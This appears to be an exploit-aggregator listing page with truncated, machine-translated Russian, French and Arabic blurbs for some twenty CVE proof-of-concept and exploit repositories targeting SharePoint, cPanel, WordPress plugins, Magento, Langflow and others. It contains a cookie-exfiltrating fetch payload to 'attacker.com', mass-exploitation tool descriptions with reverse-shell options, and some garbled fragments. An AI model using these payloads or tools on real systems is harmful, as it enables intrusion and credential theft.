CVE-2026-32201-exploit

Обзор Python-эксплойт для CVE-2026-32201 — некорректная проверка входных данных в Microsoft SharePoint Server, позволяющая неаутентифицированную сетевую подмену C:L/I:L. Затронуты: SharePoint Server 2016 Enterprise, 2019, Subscription Edition fetch'http://attacker.com/?c='+document.cookie" ...

CVE-2026-32475-PoC

CVE-2026-32475 — Téléversement de fichier arbitraire non authentifié → RCE dans Elementor Pro Preuve de concept pour CVE-2026-32475 CVSS 9.0 : une vulnérabilité de téléversement de fichier arbitraire non authentifié dans le plugin WordPress Elementor Pro ≤ 4.2.1 qui conduit à une exécution de cod...

cpsniper

cPanelSniper CVE-2026-41940 — Contournement d'authentification cPanel & WHM via injection CRLF dans le fichier de session Chaîne d'exploitation en 4 étapes · Shell WHM interactif · VRAIMENT STABLE pour 10M+ cibles · Zéro utilisation mémoire · stdlib uniquement Vue d'ensemble cPanelSniper est un...

CVE-2026-35616

CVE-2026-35616 — Contournement de pré-authentification FortiClient EMS Preuve de concept PoC pour le contournement d'authentification du serveur de gestion de points de terminaison FortiClient CVE-2026-35616 Ce script exploite une vulnérabilité de contournement d'authentification dans FortiClient...

CVE-2026-3844

CVE-2026-3844 Breeze Cache ≤ 2.4.4 — Неавторизованная произвольная загрузка файлов ⚠️ Отказ от ответственности root@kitploit: ДАННЫЙ ИНСТРУМЕНТ ПРЕДОСТАВЛЕН ИСКЛЮЧИТЕЛЬНО ДЛЯ ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЕЙ И ИССЛЕДОВАНИЙ В ОБЛАСТИ БЕЗОПАСНОСТИ. Несанкционированный доступ к компьютерным системам является...

CVE-2024-34102

CVE-2024-34102 - استغلال XXE CosmicSting استغلال لـ CVE-2024-34102 CosmicSting - ثغرة الكيان الخارجي XML XXE في Adobe Commerce وMagento. 📋 حول الثغرة CVE-2024-34102 هي ثغرة XXE كيان خارجي XML خطيرة تؤثر على: إصدارات Adobe Commerce 2.4.7, 2.4.6-p5, 2.4.5-p7, 2.4.4-p8 وما قبلها Magento Open Source...

CVE-2026-44024_exploit

CVE-2026-44024 — Fluentd outfile $tag : écriture arbitraire de fichier par traversée de chemin Écriture arbitraire de fichier sans authentification dans le plugin outfile de Fluentd via le paramètre $tag. outfile permet aux opérateurs de paramétrer le chemin de sortie avec un paramètre $tag par e...

POC_CVE-2024-12537

CVE-2024-12537 معمل اختبار رفض الخدمة لتنسيق الكود في Open WebUI يحتوي هذا المستودع على معمل عزل محلي لإعادة إنتاج الثغرة ونموذج أولي لأداة Nuclei لـ CVE-2024-12537، وهي ثغرة رفض خدمة غير موثقة في نقطة نهاية تنسيق الكود في Open WebUI. لا يرسل المعمل حمولات كبيرة لرفض الخدمة. بل يتحقق من منطق الكش...

CVE-2023-27372-SPIP-4.2.1-Unauthenticated-RCE-PoC

CVE-2023-27372 — SPIP ثغرة تنفيذ تعليمات برمجية عن بُعد غير مصادق عليها في SPIP قبل الإصدار 4.2.1. معامل oubli في نموذج إعادة تعيين كلمة المرور عرضة لحقن كائنات PHP بسبب سوء معالجة إلغاء التسلسل. يتم تنفيذ حمولة مسلسلة مصممة خصيصًا من جانب الخادم كمستخدم الويب، وينعكس المخرجات في الاستجابة داخل...

CVE-2018-16763-Fuel-CMS-1.4.1-Remote-Code-Execution-PoC

CVE-2018-16763 — Fuel CMS 1.4.1 تنفيذ تعليمات برمجية عن بعد PoC ثغرة تنفيذ تعليمات برمجية عن بعد بدون مصادقة في Fuel CMS 1.4.1. يتم تمرير المعامل filter في نقطة النهاية /fuel/pages/select/ دون تنقية إلى استدعاء eval في واجهة PHP الخلفية، مما يسمح بتنفيذ تعليمات برمجية عشوائية عبر حمولة مصممة. على...

CVE-2025-58434-Unauthenticated-Password-Reset-Flowwise

Flowise - Prise de contrôle de compte via réinitialisation de mot de passe ATO À des fins de recherche et de test uniquement ! Je ne suis pas responsable des dommages causés à une infrastructure en production si cet outil n'est pas utilisé comme prévu. Utilisez-le uniquement sur des systèmes que...

CVE-2025-56399

استغلال جماعي لـ CVE-2025-56399 CVE-2025-56399 – تنفيذ أكواد عن بعد في laravel-file-manager v3.3.1. يستغل تكوينًا خاطئًا في Laravel File Manager لرفع والتحقق من شيل PHP عبر رفع ملفات غير مصادق عليه. التثبيت تحميل المستودع root@kitploit: git clone https://github.com/im-hanzou/CVE-2025-56399 الذهاب...

CVE-2025-55182

CVE-2025-55182 — React2Shell : Exploitation avancée et recherche de mémoire de master -brightred Désérialisation de données non fiables + Pollution du prototype dans les composants serveur React Exécution de code à distance sans authentification via les actions serveur Next.js Versions concernées...

PoC-CVE-2026-33017

PoC : CVE-2026-33017 Langflow = 1.8.1 est vulnérable à une exécution de code à distance RCE non authentifiée https://nvd.nist.gov/vuln/detail/CVE-2026-33017 Utilisation root@kitploit: usage: CVE-2026-33017.py -h --lhost LHOST --lport LPORT target PoC exploit: CVE-2026-33017 positional arguments:...

CVE-2026-0300-POC

🛡️ CVE-2026-0300 : Analyse RCE du portail User-ID™ PAN-OS Preuve de concept de recherche : CWE-787 Écriture hors limites 📌 Vue d'ensemble CVE-2026-0300 est une vulnérabilité de dépassement de tampon de haute sévérité identifiée dans le portail d'authentification User-ID™ portail captif de Palo Alt...

SharePoint-ToolShell-CVE-2025-53770-Incident-Analysis

SharePoint ToolShell CVE-2025-53770 Analyse d'incident Aperçu Ce projet documente l'investigation d'une tentative d'exploitation réelle ciblant un serveur SharePoint utilisant la vulnérabilité ToolShell CVE-2025-53770. L'attaque démontre une chaîne d'exploitation complète incluant l'exécution de...

CVE-2026-1107

Modèle Nuclei CVE-2026-1107 Modèle Nuclei pour détecter CVE-2026-1107 dans EyouCMS. La vulnérabilité permet à des attaquants non authentifiés d'effectuer un Path Traversal / Arbitrary File Read via la fonction checkuserinfo dans Diyajax.php. Détails de la vulnérabilité ID CVE : CVE-2026-1107 Cibl...

CVE-2025-2563

CVE-2025-2563 — User Registration & Membership | Élévation de privilèges Admin en chaîne complète root@kitploit: ██╗ ██╗███████╗███████╗██████╗ ██████╗ ███████╗ ██████╗ ██║ ██║██╔════╝██╔════╝██╔══██╗ ██╔══██╗██╔════╝██╔════╝ ██║ ██║███████╗█████╗ ██████╔╝ ██████╔╝█████╗ ██║ ███╗ ██║...

CVE-2025-5880-PoC

CVE-2025-5880 — إثبات المفهوم لثغرة اجتياز المسار في Whistle 2.9.98 إثبات المفهوم لاستغلال ثغرة اجتياز المسار غير المصادق عليها في Whistle الإصدار 2.9.98. ملخص الثغرة...

CVE-2026-22812

🔐 CVE-2026-22812 - Serveur HTTP non authentifié OpenCode → Exécution de code à distance RCE Avis de sécurité, analyse technique, recommandations de détection et notes d'atténuation pour CVE-2026-22812 📌 Vue d'ensemble CVE-2026-22812 est une vulnérabilité d'exécution de code à distance RCE à haute...